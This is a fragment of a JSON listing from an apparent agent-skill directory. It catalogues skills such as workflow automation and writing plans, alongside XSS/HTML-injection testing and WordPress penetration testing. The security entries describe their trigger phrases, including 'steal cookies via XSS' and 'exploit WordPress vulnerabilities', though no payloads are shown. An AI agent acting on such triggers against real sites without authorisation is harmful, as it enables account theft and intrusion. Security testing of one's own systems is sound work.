build reliable automations, and when to graduate to code-based solutions. Key insight: Zapier optimizes for simplicity and integrations (7000+ apps), Make optimizes for power","https:\u002F\u002Fgithub.com\u002FGabriellmaia01\u002Fneuro-dose-assist\u002Fblob\u002Fmain\u002F.agent\u002Fskills\u002Fskills\u002Fzapier-make-patterns\u002FSKILL.md",[73],{"categoryNo":74,"categoryName":75,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[77,78,79,80,81,82,83,84,85,86,87,88,89,90],"zapier make patterns","writing","workflow","automation","code","apache","how","automate","integrations","business","use","simplicity","power","complexity",{"skillNo":92,"name":93,"nameZh":6,"description":94,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":95,"categories":96,"keywords":101,"publishedAt":36},"01M6CCFSBPM49S618W7G4NHH13","Cross-Site Scripting and HTML Injection Testing","This skill should be used when the user asks to \"test for XSS vulnerabilities\", \"perform cross-site scripting attacks\", \"identify HTML injection flaws\", \"exploit client-side injection vulnerabilities\", \"steal cookies via XSS\", or \"bypass content security policies\". It provides comprehensive techniques for detecting, exploiting, and understanding XSS and HTML injection attack vectors in web applications.","https:\u002F\u002Fgithub.com\u002FGabriellmaia01\u002Fneuro-dose-assist\u002Fblob\u002Fmain\u002F.agent\u002Fskills\u002Fskills\u002Fxss-html-injection\u002FSKILL.md",[97,98],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":99,"categoryName":100,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000009","前端开发",[102,103,104,105,106,24,107,108,109,110,34,111,112,113,28,33,27],"injection","scripting","html","site","Cross Site Scripting and HTML Injection Testing","html injection testing","cookies","applications","xss","content","web","test",{"skillNo":115,"name":116,"nameZh":6,"description":117,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":118,"categories":119,"keywords":129,"publishedAt":36},"01M6CCFJ9XTPXHTE4JR06WY475","writing-skills","Use when creating new skills, editing existing skills, or verifying skills work before deployment","https:\u002F\u002Fgithub.com\u002FGabriellmaia01\u002Fneuro-dose-assist\u002Fblob\u002Fmain\u002F.agent\u002Fskills\u002Fskills\u002Fwriting-skills\u002FSKILL.md",[120,121,124],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":122,"categoryName":123,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000018","写作与文案",{"categoryNo":125,"categoryName":126,"taxonomyType":127,"taxonomyTypeDesc":128},"01JBSEEDCAT000000000000036","内容创作者","PROFESSION","适用职业",[78,130,131,132,133,87],"writing skills","deployment","work","editing",{"skillNo":135,"name":136,"nameZh":6,"description":137,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":138,"categories":139,"keywords":142,"publishedAt":36},"01M6CCFG98EMZZ43D1CPZZZ54E","writing-plans","Use when you have a spec or requirements for a multi-step task, before touching code","https:\u002F\u002Fgithub.com\u002FGabriellmaia01\u002Fneuro-dose-assist\u002Fblob\u002Fmain\u002F.agent\u002Fskills\u002Fskills\u002Fwriting-plans\u002FSKILL.md",[140,141],{"categoryNo":122,"categoryName":123,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":125,"categoryName":126,"taxonomyType":127,"taxonomyTypeDesc":128},[78,143,144,81,87],"writing plans","spec",{"skillNo":146,"name":147,"nameZh":6,"description":148,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":149,"categories":150,"keywords":152,"publishedAt":36},"01M6CCFDPACVC9ZM8TN63MGBP5","workflow-automation","Workflow automation is the infrastructure that makes AI agents reliable. Without durable execution, a network hiccup during a 10-step payment flow means lost money and angry customers. With it, workflows resume exactly where they left off.  This skill covers the platforms (n8n, Temporal, Inngest) and patterns (sequential, parallel, orchestrator-worker) that turn brittle scripts into production-grade automation.  Key insight: The platforms make different tradeoffs. n8n optimizes for accessibility","https:\u002F\u002Fgithub.com\u002FGabriellmaia01\u002Fneuro-dose-assist\u002Fblob\u002Fmain\u002F.agent\u002Fskills\u002Fskills\u002Fworkflow-automation\u002FSKILL.md",[151],{"categoryNo":74,"categoryName":75,"taxonomyType":21,"taxonomyTypeDesc":22},[153,80,79,154,155,156,157,158,82,159,160,161,162,163,164,165],"Workflow Automation","network","ai agents","accessibility","workflows","infrastructure","flow","Production","execution","inngest","parallel","orchestrator","resume",{"skillNo":167,"name":168,"nameZh":6,"description":169,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":170,"categories":171,"keywords":173,"publishedAt":36},"01M6CCFB0KAB0PPNV38XQPX6YX","WordPress Penetration Testing","This skill should be used when the user asks to \"pentest WordPress sites\", \"scan WordPress for vulnerabilities\", \"enumerate WordPress users, themes, or plugins\", \"exploit WordPress vulnerabilities\", or \"use WPScan\". It provides comprehensive WordPress security assessment methodologies.","https:\u002F\u002Fgithub.com\u002FGabriellmaia01\u002Fneuro-dose-assist\u002Fblob\u002Fmain\u002F.agent\u002Fskills\u002Fskills\u002Fwordpress-penetration-testing\u002FSKILL.md",[172],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[24,168,25,174,27,28,175,176,33,87,34,35,177],"wordpress","assessment","plugins","security assessment"]